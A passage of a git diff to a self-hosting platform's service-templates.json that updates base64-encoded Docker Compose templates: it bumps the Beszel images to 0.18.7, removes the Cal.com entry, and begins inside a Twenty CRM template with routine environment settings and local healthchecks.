UUKICAgICAgLSBFTUFJTF9TWVNURU1fQUREUkVTUz0kRU1BSUxfU1lTVEVNX0FERFJFU1MKICAgICAgLSAnRU1BSUxfRFJJVkVSPSR7RU1BSUxfRFJJVkVSOi1sb2dnZXJ9JwogICAgICAtIEVNQUlMX1NNVFBfSE9TVD0kRU1BSUxfU01UUF9IT1NUCiAgICAgIC0gRU1BSUxfU01UUF9QT1JUPSRFTUFJTF9TTVRQX1BPUlQKICAgICAgLSBFTUFJTF9TTVRQX1VTRVI9JEVNQUlMX1NNVFBfVVNFUgogICAgICAtIEVNQUlMX1NNVFBfUEFTU1dPUkQ9JEVNQUlMX1NNVFBfUEFTU1dPUkQKICAgICAgLSBTSUdOX0lOX1BSRUZJTExFRD1mYWxzZQogICAgICAtICdERUJVR19NT0RFPSR7REVCVUdfTU9ERTotZmFsc2V9JwogICAgICAtICdURUxFTUVUUllfRU5BQkxFRD0ke1RFTEVNRVRSWV9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIC0gRElTQUJMRV9EQl9NSUdSQVRJT05TPXRydWUKICAgICAgLSBESVNBQkxFX0NST05fSk9CU19SRUdJU1RSQVRJT049dHJ1ZQogICAgZGVwZW5kc19vbjoKICAgICAgdHdlbnR5OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotdHdlbnR5LWRifScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo3LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", + "compose": "c2VydmljZXM6CiAgdHdlbnR5OgogICAgaW1hZ2U6ICd0d2VudHljcm0vdHdlbnR5OnYxLjE1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfVFdFTlRZXzMwMDAKICAgICAgLSAnU0VSVkVSX1VSTD0ke1NFUlZJQ0VfVVJMX1RXRU5UWX0nCiAgICAgIC0gJ0ZST05UX0JBU0VfVVJMPSR7U0VSVklDRV9VUkxfVFdFTlRZfScKICAgICAgLSAnQVBQX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0XzMyX1NFQ1JFVH0nCiAgICAgIC0gRU5BQkxFX0RCX01JR1JBVElPTlM9dHJ1ZQogICAgICAtICdDQUNIRV9TVE9SQUdFX1RZUEU9JHtDQUNIRV9TVE9SQUdFX1RZUEU6LXJlZGlzfScKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vcmVkaXM6NjM3OScKICAgICAgLSAnQVBJX1JBVEVfTElNSVRJTkdfVFRMPSR7QVBJX1JBVEVfTElNSVRJTkdfVFRMOi0xMDB9JwogICAgICAtICdBUElfUkFURV9MSU1JVElOR19MSU1JVD0ke0FQSV9SQVRFX0xJTUlUSU5HX0xJTUlUOi0xMDB9JwogICAgICAtICdQT1NUR1JFU19BRE1JTl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQR19EQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LXR3ZW50eS1kYn0nCiAgICAgIC0gJ0lTX1NJR05fVVBfRElTQUJMRUQ9JHtJU19TSUdOX1VQX0RJU0FCTEVEOi1mYWxzZX0nCiAgICAgIC0gJ1BBU1NXT1JEX1JFU0VUX1RPS0VOX0VYUElSRVNfSU49JHtQQVNTV09SRF9SRVNFVF9UT0tFTl9FWFBJUkVTX0lOOi01bX0nCiAgICAgIC0gJ1dPUktTUEFDRV9JTkFDVElWRV9EQVlTX0JFRk9SRV9OT1RJRklDQVRJT049JHtXT1JLU1BBQ0VfSU5BQ1RJVkVfREFZU19CRUZPUkVfTk9USUZJQ0FUSU9OOi03fScKICAgICAgLSAnV09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OPSR7V09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OOi0yMX0nCiAgICAgIC0gJ1NUT1JBR0VfVFlQRT0ke1NUT1JBR0VfVFlQRTotbG9jYWx9JwogICAgICAtIFNUT1JBR0VfUzNfUkVHSU9OPSRTVE9SQUdFX1MzX1JFR0lPTgogICAgICAtIFNUT1JBR0VfUzNfTkFNRT0kU1RPUkFHRV9TM19OQU1FCiAgICAgIC0gU1RPUkFHRV9TM19FTkRQT0lOVD0kU1RPUkFHRV9TM19FTkRQT0lOVAogICAgICAtIFNUT1JBR0VfUzNfQUNDRVNTX0tFWV9JRD0kU1RPUkFHRV9TM19BQ0NFU1NfS0VZX0lECiAgICAgIC0gU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWT0kU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWQogICAgICAtICdNRVNTQUdFX1FVRVVFX1RZUEU9JHtNRVNTQUdFX1FVRVVFX1RZUEU6LXBnLWJvc3N9JwogICAgICAtIEVNQUlMX0ZST01fQUREUkVTUz0kRU1BSUxfRlJPTV9BRERSRVNTCiAgICAgIC0gRU1BSUxfRlJPTV9OQU1FPSRFTUFJTF9GUk9NX05BTUUKICAgICAgLSBFTUFJTF9TWVNURU1fQUREUkVTUz0kRU1BSUxfU1lTVEVNX0FERFJFU1MKICAgICAgLSAnRU1BSUxfRFJJVkVSPSR7RU1BSUxfRFJJVkVSOi1sb2dnZXJ9JwogICAgICAtIEVNQUlMX1NNVFBfSE9TVD0kRU1BSUxfU01UUF9IT1NUCiAgICAgIC0gRU1BSUxfU01UUF9QT1JUPSRFTUFJTF9TTVRQX1BPUlQKICAgICAgLSBFTUFJTF9TTVRQX1VTRVI9JEVNQUlMX1NNVFBfVVNFUgogICAgICAtIEVNQUlMX1NNVFBfUEFTU1dPUkQ9JEVNQUlMX1NNVFBfUEFTU1dPUkQKICAgICAgLSBTSUdOX0lOX1BSRUZJTExFRD1mYWxzZQogICAgICAtICdERUJVR19NT0RFPSR7REVCVUdfTU9ERTotZmFsc2V9JwogICAgICAtICdURUxFTUVUUllfRU5BQkxFRD0ke1RFTEVNRVRSWV9FTkFCTEVEOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICd0d2VudHktbG9jYWwtc3RvcmFnZTovYXBwL3BhY2thZ2VzL3R3ZW50eS1zZXJ2ZXIvLmxvY2FsLXN0b3JhZ2UnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9oZWFsdGh6JwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiAzMHMKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgd29ya2VyOgogICAgaW1hZ2U6ICd0d2VudHljcm0vdHdlbnR5OnYxLjE1JwogICAgY29tbWFuZDoKICAgICAgLSB5YXJuCiAgICAgIC0gJ3dvcmtlcjpwcm9kJwogICAgdm9sdW1lczoKICAgICAgLSAndHdlbnR5LWxvY2FsLXN0b3JhZ2U6L2FwcC9wYWNrYWdlcy90d2VudHktc2VydmVyLy5sb2NhbC1zdG9yYWdlJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfVFdFTlRZXzMwMDAKICAgICAgLSAnU0VSVkVSX1VSTD0ke1NFUlZJQ0VfVVJMX1RXRU5UWX0nCiAgICAgIC0gJ0ZST05UX0JBU0VfVVJMPSR7U0VSVklDRV9VUkxfVFdFTlRZfScKICAgICAgLSAnQVBQX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0XzMyX1NFQ1JFVH0nCiAgICAgIC0gRU5BQkxFX0RCX01JR1JBVElPTlM9dHJ1ZQogICAgICAtICdDQUNIRV9TVE9SQUdFX1RZUEU9JHtDQUNIRV9TVE9SQUdFX1RZUEU6LXJlZGlzfScKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vcmVkaXM6NjM3OScKICAgICAgLSAnQVBJX1JBVEVfTElNSVRJTkdfVFRMPSR7QVBJX1JBVEVfTElNSVRJTkdfVFRMOi0xMDB9JwogICAgICAtICdBUElfUkFURV9MSU1JVElOR19MSU1JVD0ke0FQSV9SQVRFX0xJTUlUSU5HX0xJTUlUOi0xMDB9JwogICAgICAtICdQT1NUR1JFU19BRE1JTl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQR19EQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LXR3ZW50eS1kYn0nCiAgICAgIC0gJ0lTX1NJR05fVVBfRElTQUJMRUQ9JHtJU19TSUdOX1VQX0RJU0FCTEVEOi1mYWxzZX0nCiAgICAgIC0gJ1BBU1NXT1JEX1JFU0VUX1RPS0VOX0VYUElSRVNfSU49JHtQQVNTV09SRF9SRVNFVF9UT0tFTl9FWFBJUkVTX0lOOi01bX0nCiAgICAgIC0gJ1dPUktTUEFDRV9JTkFDVElWRV9EQVlTX0JFRk9SRV9OT1RJRklDQVRJT049JHtXT1JLU1BBQ0VfSU5BQ1RJVkVfREFZU19CRUZPUkVfTk9USUZJQ0FUSU9OOi03fScKICAgICAgLSAnV09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OPSR7V09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OOi0yMX0nCiAgICAgIC0gJ1NUT1JBR0VfVFlQRT0ke1NUT1JBR0VfVFlQRTotbG9jYWx9JwogICAgICAtIFNUT1JBR0VfUzNfUkVHSU9OPSRTVE9SQUdFX1MzX1JFR0lPTgogICAgICAtIFNUT1JBR0VfUzNfTkFNRT0kU1RPUkFHRV9TM19OQU1FCiAgICAgIC0gU1RPUkFHRV9TM19FTkRQT0lOVD0kU1RPUkFHRV9TM19FTkRQT0lOVAogICAgICAtIFNUT1JBR0VfUzNfQUNDRVNTX0tFWV9JRD0kU1RPUkFHRV9TM19BQ0NFU1NfS0VZX0lECiAgICAgIC0gU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWT0kU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWQogICAgICAtICdNRVNTQUdFX1FVRVVFX1RZUEU9JHtNRVNTQUdFX1FVRVVFX1RZUEU6LXBnLWJvc3N9JwogICAgICAtIEVNQUlMX0ZST01fQUREUkVTUz0kRU1BSUxfRlJPTV9BRERSRVNTCiAgICAgIC0gRU1BSUxfRlJPTV9OQU1FPSRFTUFJTF9GUk9NX05BTUUKICAgICAgLSBFTUFJTF9TWVNURU1fQUREUkVTUz0kRU1BSUxfU1lTVEVNX0FERFJFU1MKICAgICAgLSAnRU1BSUxfRFJJVkVSPSR7RU1BSUxfRFJJVkVSOi1sb2dnZXJ9JwogICAgICAtIEVNQUlMX1NNVFBfSE9TVD0kRU1BSUxfU01UUF9IT1NUCiAgICAgIC0gRU1BSUxfU01UUF9QT1JUPSRFTUFJTF9TTVRQX1BPUlQKICAgICAgLSBFTUFJTF9TTVRQX1VTRVI9JEVNQUlMX1NNVFBfVVNFUgogICAgICAtIEVNQUlMX1NNVFBfUEFTU1dPUkQ9JEVNQUlMX1NNVFBfUEFTU1dPUkQKICAgICAgLSBTSUdOX0lOX1BSRUZJTExFRD1mYWxzZQogICAgICAtICdERUJVR19NT0RFPSR7REVCVUdfTU9ERTotZmFsc2V9JwogICAgICAtICdURUxFTUVUUllfRU5BQkxFRD0ke1RFTEVNRVRSWV9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIC0gRElTQUJMRV9EQl9NSUdSQVRJT05TPXRydWUKICAgICAgLSBESVNBQkxFX0NST05fSk9CU19SRUdJU1RSQVRJT049dHJ1ZQogICAgZGVwZW5kc19vbjoKICAgICAgdHdlbnR5OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gInBzIGF1eCB8IGdyZXAgJ2Rpc3QvcXVldWUtd29ya2VyL3F1ZXVlLXdvcmtlcicgfCBncmVwIC12IGdyZXAgfHwgZXhpdCAxIgogICAgICBpbnRlcnZhbDogMzBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgICAgc3RhcnRfcGVyaW9kOiAzMHMKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi10d2VudHktZGJ9JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjctYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAncmVkaXMtZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "crm", "self-hosted", diff --git a/templates/service-templates.json b/templates/service-templates.json index 45e2185ed..cc909dc68 100644 --- a/templates/service-templates.json +++ b/templates/service-templates.json @@ -254,7 +254,7 @@ "beszel-agent": { "documentation": "https://www.beszel.dev/guide/agent-installation?utm_source=coolify.io", "slogan": "Monitoring agent for Beszel", - "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE4LjQnCiAgICBuZXR3b3JrX21vZGU6IGhvc3QKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtIEhVQl9VUkw9JFNFUlZJQ0VfRlFETl9CRVNaRUwKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICAgIC0gJ0RJU0FCTEVfU1NIPSR7RElTQUJMRV9TU0g6LWZhbHNlfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi13YXJufScKICAgICAgLSAnU0tJUF9HUFU9JHtTS0lQX0dQVTotZmFsc2V9JwogICAgICAtICdTWVNURU1fTkFNRT0ke1NZU1RFTV9OQU1FfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gL2FnZW50CiAgICAgICAgLSBoZWFsdGgKICAgICAgaW50ZXJ2YWw6IDYwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwo=", + "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE4LjcnCiAgICBuZXR3b3JrX21vZGU6IGhvc3QKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtIEhVQl9VUkw9JFNFUlZJQ0VfRlFETl9CRVNaRUwKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICAgIC0gJ0RJU0FCTEVfU1NIPSR7RElTQUJMRV9TU0g6LWZhbHNlfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi13YXJufScKICAgICAgLSAnU0tJUF9HUFU9JHtTS0lQX0dQVTotZmFsc2V9JwogICAgICAtICdTWVNURU1fTkFNRT0ke1NZU1RFTV9OQU1FfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gL2FnZW50CiAgICAgICAgLSBoZWFsdGgKICAgICAgaW50ZXJ2YWw6IDYwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwo=", "tags": [ "beszel", "monitoring", @@ -269,7 +269,7 @@ "beszel": { "documentation": "https://github.com/henrygd/beszel?tab=readme-ov-file#getting-started?utm_source=coolify.io", "slogan": "A lightweight server resource monitoring hub with historical data, docker stats, and alerts.", - "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE4LjQnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fQkVTWkVMXzgwOTAKICAgICAgLSAnQ09OVEFJTkVSX0RFVEFJTFM9JHtDT05UQUlORVJfREVUQUlMUzotdHJ1ZX0nCiAgICAgIC0gJ1NIQVJFX0FMTF9TWVNURU1TPSR7U0hBUkVfQUxMX1NZU1RFTVM6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9kYXRhOi9iZXN6ZWxfZGF0YScKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYmVzemVsCiAgICAgICAgLSBoZWFsdGgKICAgICAgICAtICctLXVybCcKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjgwOTAnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBiZXN6ZWwtYWdlbnQ6CiAgICBpbWFnZTogJ2hlbnJ5Z2QvYmVzemVsLWFnZW50OjAuMTguNCcKICAgIG5ldHdvcmtfbW9kZTogaG9zdAogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTElTVEVOPS9iZXN6ZWxfc29ja2V0L2Jlc3plbC5zb2NrCiAgICAgIC0gSFVCX1VSTD0kU0VSVklDRV9GUUROX0JFU1pFTAogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgICAgLSAnRElTQUJMRV9TU0g9JHtESVNBQkxFX1NTSDotZmFsc2V9JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LXdhcm59JwogICAgICAtICdTS0lQX0dQVT0ke1NLSVBfR1BVOi1mYWxzZX0nCiAgICAgIC0gJ1NZU1RFTV9OQU1FPSR7U1lTVEVNX05BTUV9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2FnZW50X2RhdGE6L3Zhci9saWIvYmVzemVsLWFnZW50JwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYWdlbnQKICAgICAgICAtIGhlYWx0aAogICAgICBpbnRlcnZhbDogNjBzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==", + "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE4LjcnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fQkVTWkVMXzgwOTAKICAgICAgLSAnQ09OVEFJTkVSX0RFVEFJTFM9JHtDT05UQUlORVJfREVUQUlMUzotdHJ1ZX0nCiAgICAgIC0gJ1NIQVJFX0FMTF9TWVNURU1TPSR7U0hBUkVfQUxMX1NZU1RFTVM6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9kYXRhOi9iZXN6ZWxfZGF0YScKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYmVzemVsCiAgICAgICAgLSBoZWFsdGgKICAgICAgICAtICctLXVybCcKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjgwOTAnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBiZXN6ZWwtYWdlbnQ6CiAgICBpbWFnZTogJ2hlbnJ5Z2QvYmVzemVsLWFnZW50OjAuMTguNycKICAgIG5ldHdvcmtfbW9kZTogaG9zdAogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTElTVEVOPS9iZXN6ZWxfc29ja2V0L2Jlc3plbC5zb2NrCiAgICAgIC0gSFVCX1VSTD0kU0VSVklDRV9GUUROX0JFU1pFTAogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgICAgLSAnRElTQUJMRV9TU0g9JHtESVNBQkxFX1NTSDotZmFsc2V9JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LXdhcm59JwogICAgICAtICdTS0lQX0dQVT0ke1NLSVBfR1BVOi1mYWxzZX0nCiAgICAgIC0gJ1NZU1RFTV9OQU1FPSR7U1lTVEVNX05BTUV9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2FnZW50X2RhdGE6L3Zhci9saWIvYmVzemVsLWFnZW50JwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYWdlbnQKICAgICAgICAtIGhlYWx0aAogICAgICBpbnRlcnZhbDogNjBzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==", "tags": [ "beszel", "monitoring", @@ -394,23 +394,6 @@ "minversion": "0.0.0", "port": "8000" }, - "calcom": { - "documentation": "https://cal.com/docs/developing/introduction?utm_source=coolify.io", - "slogan": "Scheduling infrastructure for everyone.", - "compose": "c2VydmljZXM6CiAgY2FsY29tOgogICAgaW1hZ2U6IGNhbGNvbS5kb2NrZXIuc2NhcmYuc2gvY2FsY29tL2NhbC5jb20KICAgIHBsYXRmb3JtOiBsaW51eC9hbWQ2NAogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0NBTENPTV8zMDAwCiAgICAgIC0gTkVYVF9QVUJMSUNfTElDRU5TRV9DT05TRU5UPWFncmVlCiAgICAgIC0gTk9ERV9FTlY9cHJvZHVjdGlvbgogICAgICAtICdORVhUX1BVQkxJQ19XRUJBUFBfVVJMPSR7U0VSVklDRV9GUUROX0NBTENPTX0nCiAgICAgIC0gJ05FWFRfUFVCTElDX0FQSV9WMl9VUkw9JHtTRVJWSUNFX0ZRRE5fQ0FMQ09NfS9hcGkvdjInCiAgICAgIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfRlFETl9DQUxDT019L2FwaS9hdXRoJwogICAgICAtICdORVhUQVVUSF9TRUNSRVQ9JHtTRVJWSUNFX0JBU0U2NF9DQUxDT01TRUNSRVR9JwogICAgICAtICdDQUxFTkRTT19FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0X0NBTENPTUtFWX0nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1jYWxlbmRzb30nCiAgICAgIC0gREFUQUJBU0VfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AJHtEQVRBQkFTRV9IT1NUOi1wb3N0Z3Jlc3FsfS8ke1BPU1RHUkVTX0RCOi1jYWxlbmRzb30nCiAgICAgIC0gJ0RBVEFCQVNFX0RJUkVDVF9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7REFUQUJBU0VfSE9TVDotcG9zdGdyZXNxbH0vJHtQT1NUR1JFU19EQjotY2FsZW5kc299JwogICAgICAtIENBTENPTV9URUxFTUVUUllfRElTQUJMRUQ9MQogICAgICAtICdFTUFJTF9GUk9NPSR7RU1BSUxfRlJPTX0nCiAgICAgIC0gJ0VNQUlMX0ZST01fTkFNRT0ke0VNQUlMX0ZST01fTkFNRX0nCiAgICAgIC0gJ0VNQUlMX1NFUlZFUl9IT1NUPSR7RU1BSUxfU0VSVkVSX0hPU1R9JwogICAgICAtICdFTUFJTF9TRVJWRVJfUE9SVD0ke0VNQUlMX1NFUlZFUl9QT1JUfScKICAgICAgLSAnRU1BSUxfU0VSVkVSX1VTRVI9JHtFTUFJTF9TRVJWRVJfVVNFUn0nCiAgICAgIC0gJ0VNQUlMX1NFUlZFUl9QQVNTV09SRD0ke0VNQUlMX1NFUlZFUl9QQVNTV09SRH0nCiAgICAgIC0gJ05FWFRfUFVCTElDX0FQUF9OQU1FPSJDYWwuY29tIicKICAgICAgLSAnQUxMT1dFRF9IT1NUTkFNRVM9WyIke1NFUlZJQ0VfRlFETl9DQUxDT019Il0nCiAgICBkZ